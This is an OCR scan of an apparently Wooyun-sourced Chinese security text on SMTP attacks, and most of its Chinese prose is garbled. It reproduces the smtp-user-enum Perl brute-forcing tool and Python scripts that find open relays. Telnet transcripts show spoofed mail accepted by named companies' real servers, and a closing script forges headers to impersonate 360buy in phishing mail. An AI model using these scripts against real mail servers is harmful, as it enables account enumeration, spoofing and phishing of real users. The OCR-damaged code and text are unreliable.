1 1 219, 541 2015-10-04 16:43:28 |1 1
2 3 219, 28 | 2015-10-04 16:43:28 |1 1
3 I 219, .22 | 2015-10-04 16:43:28 |1 1
4 8 219, 25 | 2015-10-04 16:43:28 |1 1
5 10 |219. 9 | 2015-10-04 16:43:28 |1 1
b 11 219 108 | 2015-10-04 16:43:28 |1 1
= 13 |70 26 | 9018 1004 16:42-78 ] 1 1

112 Rows returned from: select * from scanlog where loginsta=1 (took 5ms)

WWW.Wooyun.org
3-2-27

112 MRBREBERAINF EAI S, PREEZESHT , BREET 6%,
AP AMEL G E T EEIRERREES [BREFEXERANEH S |,
HAMURZ LERFIX—RIRE. (FRERS  MUNRARETERIEWS T8
wkSS. IPTVAKSS, HASES. BRaiNIEEFE.

I LHEEAA AT FREETORE IP RN, RegFAs%. HiEMiRE
el |, IRINAMEEMRIELAR ST | RER. B8 | (RS LRIV
—ERD EUEA B LU AN BRIt ENEEN IR AEEERZNEEE. B

AT SHX MR R e 2B I RERY.
BT00 /2125 W UEHME B e MoE #2158, VIZVH TAREHE.
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f

g5

W
i

NEHERERAL S
IEEIEARAIZ 25

(2358 ) =fEIE - Rexy

BUE 25 (SMTP ) imi2iE

F1TH mRFRARES

(==Yl
*¥B : Bn. BR

RgLE : http://www.wooyun.org/. http://www.secbook.net

Ll

=
SMTP JomB{HY , BOARO 25, SEFRARFENE | (IBKE.

EERITH SMTP IkS(SEEE, 40 github , oschina FAVRRBIEE FHHSEHEE.
SMTP iEiRFIA

HRFEIRIERA |, AT AR I BT,

BMMIEEIERREE T SHRPSHRFEAEMG | SREUSEEXS S MRS X HaE
[E S EEIREN AR AT R,

SMTP Y, SEIF R AMRIEB R SRR AREHER.

XS T A LAGIER A RIEHB

R_EIR B NRuS LSRRI ARX OuiEhRARY - http://emkei.cz/

FIFTIE Smtp-user-enum XFBAITF :
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#!/usr/bin/perl -w

# smtp-user-enum - Brute Force Usernames via EXPN/VRFY/RCPT TO

# Copyright (C) 2008 pentestmonkey@pentestmonkey.net

#

# This program is free software; you can redistribute it and/or modify

# it under the terms of the GNU General Public License version 2 as

# published by the Free Software Foundation.

#

# This program is distributed in the hope that it will be useful,

# but WITHOUT ANY WARRANTY; without even the implied warranty of

# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

# GNU General Public License for more details.

#

# You should have received a copy of the GNU General Public License along

# with this program; if not, write to the Free Software Foundation, Inc.,

# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

#

# This tool may be used for legal purposes only.  Users take full responsibility
# for any actions performed using this tool. If these terms are not acceptable to
# you, then do not use this tool.

#

# You are encouraged to send comments, improvements or suggestions to

# me at smtp-user-enum@ pentestmonkey.net

#

# This program is derived from dns-grind v1.0 ( http://pentestmonkey.net/tools/dns-grind )
#

use strict;

use Socket;

use 10::Handle;

use 10::Select;

use 10::Socket::INET;
use Getopt::Std;
Sl=1;

my SVERSION ="1.2"
my Sdebug =0;

my @child_handles = ();

my Sverbose =0;

my Smax_procs =5;

my Ssmtp_port =25;
my @usernames =();
my @hosts =();

my Srecursive_flag = 1;

N
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my Squery_timeout =5;

my Smode ="VRFY";
my Sfrom_address = 'user@example.com’;
my Sstart_time =time();

my Send_time;

my Skill_child_string = "\x00";

SSIG{CHLD} = 'IGNORE'; # auto-reap

my %opts;

my Susage=<<USAGE;

smtp-user-enum vSVERSION ( http://pentestmonkey.net/tools/smtp-user-enum )

Usage: smtp-user-enum.pl [options] ( -u username | -U file-of-usernames ) ( -t host | -T file-of-targets )

options are:
-mn Maximum number of processes (default: Smax_procs)
-M mode Method to use for username guessing EXPN, VRFY or RCPT (default: Smode)
-uuser Check if user exists on remote system
-faddr MAIL FROM email address. Used only in "RCPT TO" mode (default: $from_address)
-Ddom  Domain to append to supplied user list to make email addresses (Default: none)
Use this option when you want to guess valid email addresses instead of just usernames
e.g. "-D example.com" would guess foo\@example.com, bar\@example.com, etc. Instead
of
simply the usernames foo and bar.
-Ufile File of usernames to check via smtp service
-t host Server host running smtp service
-T file  File of hostnames running the smtp service

-p port  TCP port on which smtp service runs (default: Ssmtp_port)

-d Debugging output

-tn Wait a maximum of n seconds for reply (default: Squery_timeout)
-v Verbose

-h This help message

Also see smtp-user-enum-user-docs.pdf from the smtp-user-enum tar ball.
Examples:

\$ smtp-user-enum.pl -M VRFY -U users.txt -t 10.0.0.1

\$ smtp-user-enum.pl -M EXPN -u admin1 -t 10.0.0.1

\$ smtp-user-enum.pl -M RCPT -U users.txt -T mail-server-ips.txt

\$ smtp-user-enum.pl -M EXPN -D example.com -U users.txt -t 10.0.0.1

USAGE

getopts('m:u:U:s:S:r:dt:vhM:f:D:p:', \%opts);
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# Print help message if required
if (Sopts{'h'}) {
print Susage;

exit 0;

my Susername = Sopts{'u'} if Sopts{'u'};
my Susername_file = Sopts{'U'}if Sopts{'U'};

my Shost = Sopts{'t'} if Sopts{'t'};
my Shost_file = Sopts{'T'} if Sopts{'T'};
my Sfile = Sopts{'f'} if Sopts{'f'};

my Sdomain =""; Sdomain = Sopts{'D'} if Sopts{'D'};

Smax_procs = Sopts{'m'} if Sopts{'m'};
Sverbose = Sopts{'v'} if Sopts{'v'};
Sdebug = Sopts{'d'} if Sopts{'d'};
$smtp_port = Sopts{'p'} if Sopts{'p'};
Smode = Sopts{'M'} if Sopts{'M'};

Sfrom_address = Sopts{'f'} if Sopts{'f'};

# Check for illegal option combinations
unless ((defined(Susername) or defined(Susername_file)) and (defined(Shost) or defined(Shost_file))) {
print Susage;

exit 1;

# Check for strange option combinations

if (

(defined(Shost) and defined(Shost_file))

or

(defined(Susername) and defined(Susername_file))
)

print "WARNING: You specified a lone username or host AND a file of them. Continuing anyway...\n";
}

# Check valid mode was given
unless (Smode eq "EXPN" or Smode eq "VRFY" or Smode eq "RCPT") {
print "ERROR: Invalid mode specified with -M.  Should be VRFY, EXPN or RCPT.  -h for help\n";

exit 1;

# Shovel usernames and host into arrays

if (defined(Susername_file)) {

N
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open(FILE, "<Susername_file") or die "ERROR: Can't open username file Susername_file: $!\n";

@usernames = map { chomp($_); $_ } <FILE>;

if (defined(Shost_file)) {
open(FILE, "<Shost_file") or die "ERROR: Can't open username file Shost_file: $!\n";
@hosts = map { chomp($_); $_ } <FILE>;

if (defined(Susername)) {

push @usernames, Susername;

if (defined(Shost)) {
push @hosts, Shost;

if (defined(Shost_file) and not @hosts) {
print "ERROR: Targets file Shost_file was empty\n";

exit 1;

if (defined(Susername_file) and not @usernames) {
print "ERROR: Username file Susername_file was empty\n";

exit 1;

print "Starting smtp-user-enum vSVERSION ( http://pentestmonkey.net/tools/smtp-user-enum )\n";

print "\n";

print " \n";

print "| Scan Information [\n";
print " \n";

print "\n";

print "Mode ........ccouun... Smode\n";

print "Worker Processes ......... Smax_procs\n";

print "Targets file ............. Shost_file\n" if defined(Shost_file);

print "Usernames file Susername_file\n" if defined(Susername_file);

print "Target count ............. ", scalar(@hosts) . "\n" if @hosts;

print "Username count ........... " . scalar(@usernames) . "\n" if @usernames;
print "Target TCP port .......... Ssmtp_port\n";

print "Query timeout ............ Squery_timeout secs\n";

print "Target domain ............ Sdomain\n" if defined(Sdomain);

print "\n";

print "H#it#H#####1 Scan started at " . scalar(localtime()) . " #H##HH##H##\N";
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# Spawn off correct number of children

foreach my Sproc_count (1..5max_procs) {
socketpair(my Schild, my Sparent, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair: $!";
Schild->autoflush(1);
Sparent->autoflush(1);

# Parent executes this

if (my $pid = fork) {
close Sparent;
print "[Parent] Spawned child with PID $pid to do resolving\n" if Sdebug;
push @child_handles, Schild;

# Child executes this
}else {
close Schild;
while (1) {
my Stimed_out = 0;

# Read host and username from parent

my Sline = <Sparent>;

chomp($line);

my (Shost, Susername, Sdomain) = Sline =~ /A\S+)\t(.*)\t(.*)$/;

# Append domain to username if a domain was supplied

Susername = Susername . "@" . Sdomain if (defined($Sdomain) and $domain);

# Exit if told to by parent
if (Sline eq Skill_child_string) {
print "[Child $$] Exiting\n" if Sdebug;

exit 0;

# Sanity check host and username
if (defined(Shost) and defined(Susername)) {

print "[Child $S] Passed host Shost and username Susername\n" if Sdebug;
}else {

print "[Child $S] WARNING: Passed garbage. Ignoring: Sline\n";

next;

# Do smtp query with timeout

my Sresponse;

eval {
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T T T

local $SIG{ALRM} = sub { die "alarm\n" };
alarm $Squery_timeout;
my Ss = 10::Socket::INET->new(  PeerAddr => Shost,
PeerPort => $smtp_port,
Proto =>'tcp'
)
or die "Can't connect to Shost:Ssmtp_port: SI\n";
my Sbuffer;
Ss->recv(Sbuffer, 10000); # recv banner
if (Smode eq "VRFY") {
Ss->send("HELO x\r\n");
Ss->recv(Sbuffer, 10000);
Ss->send("VRFY Susername\r\n");
Ss->recv(Sbuffer, 10000);
}elsif (Smode eq "EXPN") {
Ss->send("HELO x\r\n");
Ss->recv(Sbuffer, 10000);
Ss->send("EXPN Susername\r\n");
Ss->recv(Sbuffer, 10000);
} elsif (Smode eq "RCPT") {
Ss->send("HELO x\r\n");
Ss->recv(Sbuffer, 10000);
Ss->send("MAIL FROM:Sfrom_address\r\n");
Ss->recv(Sbuffer, 10000);
Ss->send("RCPT TO:Susername\r\n");
Ss->recv(Sbuffer, 10000);
}else {

print "ERROR: Unknown mode in use\n";

exit 1;

1

Sresponse .= Shuffer;

alarm 0O;
L
if (@) {

Stimed_out = 1;

print "[Child $$] Timeout for username Susername on host Shost\n" if Sdebug;
1
my Strace;
if (Sdebug) {

Strace = "[Child $$] Shost: Susername ";
}else {

Strace = "Shost: Susername ";

N
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if (Sresponse and not Stimed_out) {

# Negative result
if (Sresponse =~ /5\d\d \S+/s) {
print Sparent Strace . "<no such user>\n";

next;

# Postive result
} elsif (Sresponse =~ /2\d\d \S+/s) {
print Sparent Strace . "exists\n";

next;

# Unknown response
}else {
Sresponse =~ s/[\n\r]/./g;
print Sparent Strace . "Sresponse\n";

next;

if (Stimed_out) {

print Sparent Strace . "<timeout>\n";
}else {

if (I1Sresponse) {

print Sparent Strace . "<no result>\n";

exit;

# Fork once more to make a process that will us usernames and hosts
socketpair(my $get_next_query, my Sparent, AF_UNIX, SOCK_STREAM, PF
Sget_next_query->autoflush(1);

Sparent->autoflush(1);

# Parent executes this
if (my $Spid = fork) {

close Sparent;

# Chile executes this

UNSPEC) or

die "socketpair: $!";
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}else {

# Generate queries from username-host pairs and send to parent
foreach my Susername (@usernames) {
foreach my Shost (@hosts) {
my Squery = Shost . "\t" . Susername . "\t" . Sdomain;
print "[Query Generator] Sending Squery to parent\n" if Sdebug;
print Sparent "Squery\n";

exit 0;

printf "Created %d child processes\n", scalar(@child_handles) if Sdebug;
my $s = 10::Select->new();

my Ss_in = 10::Select->new();

Ss->add(@child_handles);

Ss_in->add(\*STDIN);

my Stimeout = 0; # non-blocking

my Smore_queries = 1;

my Soutstanding_queries = 0;

my Squery_count = 0;

my Sresult_count = 0;

# Write to each child process once
writeloop: foreach my Swrite_handle (@child_handles) {
my Squery = <Sget_next_query>;
if (Squery) {
chomp(Squery);
print "[Parent] Sending Squery to child\n" if Sdebug;
print Swrite_handle "$Squery\n";
Soutstanding_queries++;
}else {
print "[Parent] Quitting main loop. All queries have been read.\n" if $debug;

last writeloop;

# Keep reading from child processes until there are no more queries left
# Write to a child only after it has been read from
mainloop: while (1) {
# Wait until there's a child that we can either read from or written to.

my (Srh_aref) = 10::Select->select(Ss, undef, undef); # blocking
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print "[Parent] There are " . scalar(@Srh_aref) . " children that can be read from\n" if Sdebug;

foreach my Sread_handle (@Srh_aref) {
# Read from child
chomp(my Sline = <$read_handle>);
if (Sverbose == 1 or $debug == 1 or not (Sline =~ /<no such user>/ or Sline =~ /no result/ or Sline =~
/<timeout>/)) {
print "Sline\n";
Sresult_count++ unless (Sline =~ /<no such user>/ or Sline =~ /no result/ or $Sline =~
/<timeout>/);
1
Soutstanding_queries--;

Squery_count++;

# Write to child
my Squery = <Sget_next_query>;
if (Squery) {
chomp($query);
print "[Parent] Sending Squery to child\n" if Sdebug;
print Sread_handle "Squery\n";
Soutstanding_queries++;
}else {
print "DEBUG: Quitting main loop. All queries have been read.\n" if Sdebug;

last mainloop;

# Wait to get replies back from remaining children
my Scount = 0;
readloop: while (Soutstanding_queries) {
my @ready_to_read = $s->can_read(1); # blocking
foreach my Schild_handle (@ready_to_read) {
print "[Parent] Outstanding queries: Soutstanding_queries\n" if Sdebug;
chomp(my $line = <Schild_handle>);
if (Sverbose == 1 or $debug == 1 or not (Sline =~ /<no such user>/ or Sline =~ /no result/ or Sline =~
/<timeout>/)) {
print "Sline\n";
Sresult_count++ unless (Sline =~ /<no such user>/ or Sline =~ /no result/ or Sline =~
/<timeout>/);
}
print Schild_handle "Skill_child_string\n";
Ss->remove(Schild_handle);

Soutstanding_queries--;
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Squery_count++;

# Tell any remaining children to exit
foreach my Shandle ($s->handles) {
print "[Parent] Telling child to exit\n" if Sdebug;
print Shandle "Skill_child_string\n";
1
# Wait for all children to terminate
while(wait I=-1) {};
print "###HHH### Scan completed at " . scalar(localtime()) . " ##H#H###HHH#\N";
print "Sresult_count results.\n";
print "\n";
Send_time = time(); # Second granularity only to avoid depending on hires time module
my Srun_time = $Send_time - Sstart_time;
Srun_time = 1 if Srun_time < 1; # Avoid divide by zero

printf "%d queries in %d seconds (%0.1f queries / sec)\n", Squery_count, Srun_time, Squery_count / Srun_time;

SMTP Ik S{ESitHEFIA

B{NFBR ¢ https://butian.360.cn/blog/view/id/19

SMTP {hiERh1E

AT HILEHEFENIE | BHIL T SPF,

SPF(ak2 Sender ID)2 Sender Policy Framework B9485.

HIREN TRIHEZRY SPFICRIT |, BB 2ARIE(RAY SPF ISR IMERST kA9
P st REWE S SPFICREM , IRE , N2 —HERAIERMEG , BUNBAK
B—HNISAIEMY, IR REMD REIREMG R FERSHF SPF g | IXFIiE—RA
SERA , RIERIBERAEER B O SPF iCREEHERTIENR.

ZF domain key MIZH Yahoo ARy, HEESRMAFIIIERA , LHRMHR. B
AIEAINEAZ. Google HRIFATBRISZIE domainkey B R 2ESSHIEHMEIIN &2
154 yahoo IBfE , AFHIRBEKRSFMHEES domainkey,

IER EEEML—RERIT ¢
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Received-SPF: pass (google.com: domain of wordpress@your_domain.com designates 72.47.192.112 as
permitted sender) client-ip=72.47.192.112;
Authentication-Results: mx.google.com; spf=pass (google.com: domain of wordpress@your_domain.com

designates 72.47.192.112 as permitted sender) smtp.mail=wordpress@your_domain.com

KT SPF ZREBEIRERILE ? —HRIANBINL SPF EUiYF | 1HA—RIRIERMUA-ARSS
#xB>KF SenderD HFIRISIREHRNEMERLT .
SN{ATLEAN SPF ISR |, FEREE , £ DNS BN TXT icREPE , AL N ERm ™

SPFARIGETER :

http://www.microsoft.com/mscorp/safety/content/technologies/senderid/wizard/default.aspx

http://old.openspf.org/wizard.html

Q TXT (Text) I Add New SPF Record } I Add New TXT Record ]

¥ Host TXT Value TTL Actions

r e v=spf1 include;_ipf L} -all 1 Hour E

[~ _spf v=spfl mx mox:rid s W D TN O LIRS 1 S -all 1 Hour E
4-1-1

a RIFEBM AICR | —MRIER yes , A MERIREA IR , ELANF_EEIREIRY Wordpress RIEHE.
mx —fRBE yes , MX [RSBLBIRES.
ptr & no , ETJ‘LLMEI’:’J
inlude ANEREATELEIT— isp KA(S | isp BECHI SPFIER , MIBENIXA isp B9LERE. ELAR{ER Google
Apps , RZZIBAN include:google.com IC5R , E/I{RAIMBAETI Google BRSS B8R HZERT.

. AREEIREEMA ip KIS ? FTREIRAT smtp ARSSEREIRZHERT , BBARIENIRAY 1P & KIER,
~all: BRERT LERY , HBRIEBASAT], HRRE ves T,

&EZ& SPFIERMT5% , Windows A DOS &R GALATH<S

nslookup -type=txt 1573

C:“Documents and Settings™dministratorinslookup —type=txt 163.com

¥ Can’t find server name for address 168.211.55.1: Mon—existent domain
xx Default servers are not available

Server: UnKnown

Address: 18.211.55.1

Mon—authoritative answer:
163 .com text =

“w=gpfl include:spf.163.com —all"

4-1-2
Unix I ERFE T~ :

# dig -t txt 1873
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1% dig -t txt 163.com

3 <<>> DiG 9.8.3-P1 <<>> -t txt 163.com

;3 global options: +cmd

33 Got answer:

;5 —>>HEADER<<- opcode: QUERY, status: NOERROR, id: 56031

;5 flags: gr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: @, ADDITIONAL: @

33 QUESTION SECTION:
;163 . com.

55 ANSWER SECTION:
163. com. "v=spfl include:spf.163.com -all"

;5 Query time: 55 msec

;3 SERVER: 114.114.114.114#53(114.114.114.114)
55 WHEN: Thu Aug 29 20:18:25 2013

35 MSG SIZE rcvd: 69

413
(£35% ) REwIE : dkpw

F27 LhRZEA

FE . BA

*8: Bn. B%

pgLE : http://www.wooyun.org/. http://www.secbook.net

1. RS SR RABEARZRIhEHBEEA

HRFERRSSERREAS , IREHBWIE , FILMMERMHA ZRELREREEZL 5 TR
NS wooyun ER IS T —iE. TEAMAREHATE MAHEIRS #ES

B IP.

#!/usr/local/bin/python

# -*- coding: utf8 -*-

import time

import dns.resolver

from multiprocessing import Process

import os

OK=[]

ERROR=[]
WHITE=["GOOGLEMAIL.COM","GOOGLE.COM" "3 s sk sttt ihack sk sk kil Tokok ok ok okl ok ok hox il 1ok ox %
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*.**"]

def white(s):
for win WHITE:
ifwins:
return False
return True
def g(ym):
try:
if ym.startswith("www."):
ym=ym.split("www.")[1]
if ym.count(".")>1:
#get the domain
ym=ym.split(".")[-2]+"."+ym.split(".")[-1]
tmp=dns.resolver
tmp.timeout=1
answers = tmp.query(ym, 'MX')
for rdata in answers:
if white(str(rdata.exchange)):
#print "xxxx"
cmd="echo "+str(rdata.exchange)+" >> mail.txt"
#print cmd
os.system(cmd)
print rdata.exchange
OK.append(str(rdata.exchange))
except Exception,e:
printe

ERROR.append(ym)

PATH = r"yuming.txt"

fp = open(PATH, "r")

x=(]

start=time.time()

for eachline in fp:
p=Process(target=q,args=(eachline.strip(),))
p.start()
x.append(p)
#q(eachline.strip())

foriin range(len(x)):
x[i].join()

print OK

print ERROR

end=time.time()

print end-start
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TERNEAZ2CNESRERHIRS2EIRE T | BEEMERAFA

import os, sys, string
import smtplib
import traceback
from multiprocessing import Process,Queue
FOUND=Queue()
WHITE=["auth","error","bad","deny","denied","rejected"]
def white(s):

for win WHITE:

ifwins:
return False

return True

def go(mailserver):
try:
yuming=mailserver[len(mailserver.split(".")[0])+1:]
print yuming
from_addr="hr@"+yuming
to_addr="hr@"+yuming
msg="test"
svr=smtplib.SMTP(mailserver,timeout=10)
#svr.set_debuglevel(1)
svr.docmd("HELO localhost")
x=svr.docmd("mail from:%s"%from_addr)
if white(x[1].lower()):
y=svr.docmd("rcpt to:%s"%to_addr)
if white(y[1].lower()):
print "-----------—-
print mailserver
global FOUND
FOUND.put(mailserver)
#svr.docmd("data")
#svr.send(msg+"\r\n")
#svr.send(".\r\n")
#print svr.getreply()
svr.quit()
except Exception,e:
traceback.print_exc()
x=[]
for m in open("mail.txt").readlines():
p=Process(target=go,args=[m.strip().rstrip(".")])

p.start()

x.append(p)

N
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foriin range(len(x)):
x[i].join()

while FOUND.empty()==False:
print FOUND.get()

JRRIRIERR
FENEA—EEFE  BRENEER 80%LU L , FTHTH/UINA &, BEF
ERY , BET

-
& Telnet mail.tacmes.com - - |£|EI£_?-J

228 SMIP Proxy Server Ready

helo localhost

250 +0K SMTP server Ready

mail from:hr@taomee.con

258 +0K Sender OK

rcpt to:hrftaomee.com

258 +0K Recipient OK

data

354 Start mail input, end with ' <CR>{LF>.{CR>{LF>’
wooyun test.

250 +0K message queued for delivery.

4-2-1

ER Telnet mail.syyx.com |£|E‘£_hj

i LAALLAAABAAAAAAAAA——
220 syyx.com mail ESMIP ready

helo localhost

258 syyx.com mail

mail from:hrBsyyx.com

258 ok

rcpt tozhrlfsyyx.com

354 go ahead. end data with CRLF.CRLF
wooyun test.

2508 ok message accepted for delivery

4-2-2
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228 ESMIF IMSA

helo localhost

258 tfw_gihoo._net

mail from:-hrPgihoo.net

258 2.1.8 0k

rcpt to-hrBgihoo.net

258 2.1.5% 0Ok

data

354 End data with {CR>{LF>.<{CR><LF>
wooyun test.

258 2.8_.8 0k: gqueuwed as JAZ2DZ24BOA44

& 4-2-3

¥

Bl Telnet maildl.playcool.com

228 mail.playcool.com ESHMIP ready

helo localhost

25@ mail.playcool.com

mail from:sjl@playcool.com

250 2.1.0 Sender <sj@playcool.com’ ok
rcpt to:zj@playcool.com

25@ 2.1.5 Recipient {sjfplaycool.com’ ok

mail from:hrfleyou.com

258 2.1.8 Sender 0K

rcpt to:hrBleyou.com

25@ 2.1.5 Recipient OK

data

354 Start mail input; end with <{CRLF».{CRLF»
wooyun test.

250 2.6.0 <{chledbde—dd44-4182-9562—-fhed?dab5h?dRLY-CN-NE-ER1. leyou.net.cn? Queue
d mail for delivery

& 4-2-5
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g Telnet mail.tuniu.con

helo localhost

258 imza.tuniu.com
mail from:hrBtuniu.com
250 2.1.8 0k

rcpt tothrftuniu.com
258 2.1.5 0Ok

data
354 End data with {CR><LF>.{CR>{LF>
wooyun test.

250 2.0.8 0k: gueued as ABACS488A53

& 4-2-6

BA Telnet mxl.mail.renren.com

220 mxl.mail.renren.com ESMIF ready
helo localhost

250 mx1.mail.renren.com

mail from:admin@renren.con

250 2.0.8 0K

rcpt to:admin@renren.com

250 2.1.5 0k

data

354 End data with <CR>{LF>.{CR>{LF>
wooyun test.

250 2.8.8 0k: gquewed as AF31023DABS

& 4-2-7

B¥ Telnet mail.oschina.net

220 mail.oschina.net ESHMTP unknow
helo localhost

250 mail.oschina.net

mail from:hrfoschina.net

258 2.1.8 0k

rcpt to:hrPoschina.net

258 2.1.5 0k

data

354 End data with {CR>{LF>.{CR>{LF>
wooyun test.

258 2.8.8 0k: gueued as CAY17678619

& 4-2-8
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220 spam—db.meizu.com ESMTP Softmail Hew MTA Sat,. 28 Feb 2815 17:86:29 +A8A8 (GHMES
T-8>

helo localhost

258 spam—db.meizu.com Hello [27.23.238.781. pleased to meet you
mail from:-hrfneizu.com

258 2.1.8 hrPfneizu.com... Sender ok

rcpt to-hrBmeizu.com

258 2.1.5 hrf@meizu.com... Recipient ok

data

354 Enter mail., end with "." on a line by itself

wooyun test.

258 2.8_.0 t1896T52096225 Messzage accepted for delivery

& 4-2-9

220 spam.xiaomi.com ESMTP Softmail Hew MTA Sat. 28 Feh 26815 17:A9:21 +A8A0 (GMT- &2
8>

helo localhost

258 spam.xiaomi.com Hello [27_.23.238.781. pleaszed to meet you
mail from:hrPxiaomi.com

258 2.1.8 hrPxiaomi.com... Sender ok

rcpt to-hr@xiaomi.com

258 2.1.5 hrPxiaomi.com... Recipient ok

data

354 Enter mail, end with “." on a line by itself

wooyun test.

258 2.8_.0 t15899Lx=056717 Meszage accepted for delivery

4-2-10

228 Wanda ESHMIFP SMTFP Gateway

helo localhost

258 Requested mail action okay,. completed.

mail from:hrBuwanda.cn

258 Requested mail action okay, completed.

rcpt to:ihrfwanda.cn

250 Requested mail action okay,. completed.

data

35%4 Enter mail, end with “." on a line by itself.
wooyun test.

250 Requested mail action okay,. completed.

4-2-11
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220 szxrgfAb—in.huawei.com ESMTP Mirapoint Messaging Server MOS 4.3.7-GA Queueing(ls
helo localhost

250 sexrgBe—in.huawei.com Hello

mail from:hrPhuawvei.com

258 Sender 0K

rept to-hrBPhuawei.com

258 Recipient 0K

data

35%4 Enter your message, followed by a dot on a line by itself

wooyun test.

258 GUWK47356 Message accepted for delivery

4-2-12

2, qq HRfEfhER L , BZEFIEFIA

qq BRFEXST smtp RIRETFERRR , ATLAE O smtp BRSSE:  BIZEA qq KB
HepB CAJLAMRIEHEERE ( service@qq.com FRAT , (BRXM@9q.COM ) iXFf
AL SRR RT LARIERE Bl , HakuL , BFESsMuLE, EhalLiEkER

FastMail1.6 ( W_EATLABEITEL ), M | iSiRBUATLASZISEN

#coding=utf-8

Created on 2011-11-22
@author: Administrator
# -*- coding: utf-8 -*-
#coding=utf-8

import socket

import select

import base64

import os,re

import time,datetime

class mail:
def __init__(self):

self.errmsg ="'

def send(self, buf):
try:
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byteswritten = 0

while byteswritten < len(buf):
byteswritten += self.__sockfd.send(buf[byteswritten:])
except:

pass

def recvline(self, strline):
detect_fds = [self.__sockfd,]
rrdy, wrdy, erdy = select.select(detect_fds, [], [], 20)
if len(rrdy) == 0:
return False
else:
while True:
try:
strtmp = self.__sockfd.recv(1)
strline[0] += strtmp[0]
if(strtmp[0] == "\n'):
print 'server : '+strline[0]
break
except:
return False

return True

def getresp(self, resp_str):
while True:
if(self.recvline(resp_str) == False):
return False
else:
if resp_str[0][3] !="-":
break;

return True

def mailhelo(self, hostname):
self.send('helo %s\r\n'%hostname)
print 'host say: helo %s'%hostname
resp_str=[",]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '250":
return True
else:
self.errmsg = resp_str[0]

return False
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def mailfrom(self, fromstr):

self.send('mail from: <%s>\r\n'%fromstr)
print 'host say: mail from: <%s>'%fromstr
resp_str=1[")]
if(self.getresp(resp_str) == False):

return False
if resp_str[0][0:3] == '250":

return True
else:

self.errmsg = resp_str[0]

return False

def mailto(self, tostr):
self.send('rcpt to: <%s>\r\n'%tostr)
print 'host say: rcpt to: <%s>'%tostr
resp_str=1[",]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '250":
return True
else:
self.errmsg = resp_str[0]

return False

def maildata(self):
self.send('data\r\n")
print 'host say: data'
resp_str=1[",]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '354".
return True
else:
self.errmsg = resp_str[0]
return False
def mailbody(self, bodystr):
print 'host say: '+'Received: from ICE (unknown [183.60.62.11])\r\n’
print'host say: '+'.by 183.60.62.11 (Coremail) with SMTP id _bJCALesoEAeAFMU.1\r\n'
print'host say: '+'.for <'+self.To+'>; '+time.strftime("%a, %d %b %Y %H:%M:%S +0800
(CST)" time.localtime())+'\r\n'
print'host say: '+'X-Originating-IP: [192.168.0.1]\r\n'
print'host say: '+'Date: Tue, 22 Nov 2011 16:18:06 +0800\r\n'
print'host say: '+'From: "=?GB2312?B?zfU=?=" <'+self.From+'>\r\n'

print'host say: '+'Subject:'+self.Subject+'?=\r\n'
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print'host say: '+'To: <'+self.To+'>\r\n'

print'host say: '+'X-Priority: 1\r\n'
print'host say: '+'X-mailer: iceMail 1.0 [cn]\r\n'
print'host say: '+'Mime-Version: 1.0\r\n'
print'host say: '+'Content-Type: text/plain;\r\n'
print'host say: '+'.charset="GB2312"\r\n'
print'host say: '+'Content-Transfer-Encoding: quoted-printable\r\n\r\n'
print 'host say: '+bodystr
self.send('Received: from ICE (unknown [8.8.8.8])\r\n')
self.send('.by 8.8.8.8 (Coremail) with SMTP id _bJCALesoEAeAFMU.1\r\n')
self.send('.for <'+selfTo+'>; "+time.strftime("%a, %d %b %Y %H:%M:%S +0800
(CST)", time.localtime())+'\r\n")
self.send('X-Originating-IP: [8.8.8.8]\r\n")
self.send('Date: '+time.strftime("%a, %d %b %Y %H:%M:%S +0800" time.localtime())+'\r\n')
self.send('From: '+self.FromName+ '<"t+self.From+'>\r\n')
self.send('Subject: '+self.Subject+'\r\n')
self.send('To: <'+selfTo+'>\r\n')
self.send('X-Priority: 1\r\n')
self.send('X-mailer: iceMail 1.0 [cn]\r\n')
self.send('Mime-Version: 1.0\r\n')
self.send('Content-Type: text/plain;\r\n')
self.send('.charset="GB2312"\r\n')
self.send('Content-Transfer-Encoding: quoted-printable\r\n\r\n')
self.send(bodystr)
self.send("\r\n.\r\n')
resp_str=1[")]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '250":
return True
else:
self.errmsg = resp_str[0]
return False
def mailquit(self):
self.send('quit\r\n")
print 'host say: quit'
resp_str=1[")]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '221":
print 'server : Bye'
print 'mail send ok'
return True

else:
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self.errmsg = resp_str[0]

return False
def txmail(self, hostname, mailfrom, rcptto, bodystr):
mx_server_list =[]
mail_postfix = re.split('@',rcptto)
#print mail_postfix
try:
outstr = os.popen('nslookup -type=mx -timeout=10 %s'%mail_postfix[1], 'r').read()
except Exception, e:
print 'DEBUG: Execute nslookup:',e
return False
linestr = re.split('\n', outstr)
for sin linestr:
if re.match('.+[ |\t]mail exchanger[ |\t].+', s) != None:
c =re.split(" |\t', s)

mx_server_list.append(c[len(c) - 1])

if len(mx_server_list) == 0:
self.errmsg = 'Can not find MX server'

return False

for mx_element in mx_server_list:
return_val = True
mx_server_ip = socket.gethostbyname(mx_element)
tx_sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
try:
tx_sockfd.connect((mx_server_ip, 25))
self.__sockfd = tx_sockfd
resp_str=[",]
self.getresp(resp_str)
if self.mailhelo(hostname) and self.mailfrom(mailfrom) \
and self.mailto(rcptto) and self.maildata() and self.mailbody(bodystr) and self.mailquit():
pass
else:
return_val = False
except Exception, e:
return_val = False
try:
tx_sockfd.close()
except:

pass

if return_val == True:

break
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if

__name__=="__main___

return return_val
def sendMail(self):
self.StmpHost=self.From.split("@")[1]

self.txmail(self.StmpHost, self.From, self.To, self.Data)

icemail=mail()

icemail.Port=25

icemail.To='11111@qqg.com’

icemail.From="newsletter2 @360buy.com’

icemail.FromName="FRZR_E- i "

icemail Subject="{§ D7 AX B £I7E# 100 5 30 7T , SLEARBIEISEIRE | (AD)"
icemail. Data="F2RAY"

icemail.sendMail()

EXNEHEZE python BRI— smtp HIIRSS=EEZLI , FILIEH qq IRSBH[EEEE

E smtp IRS==FASIFAI—IDER.

‘\‘I I QQE s 1@qq.com=v

mail.qq.. com BEER | BE - B

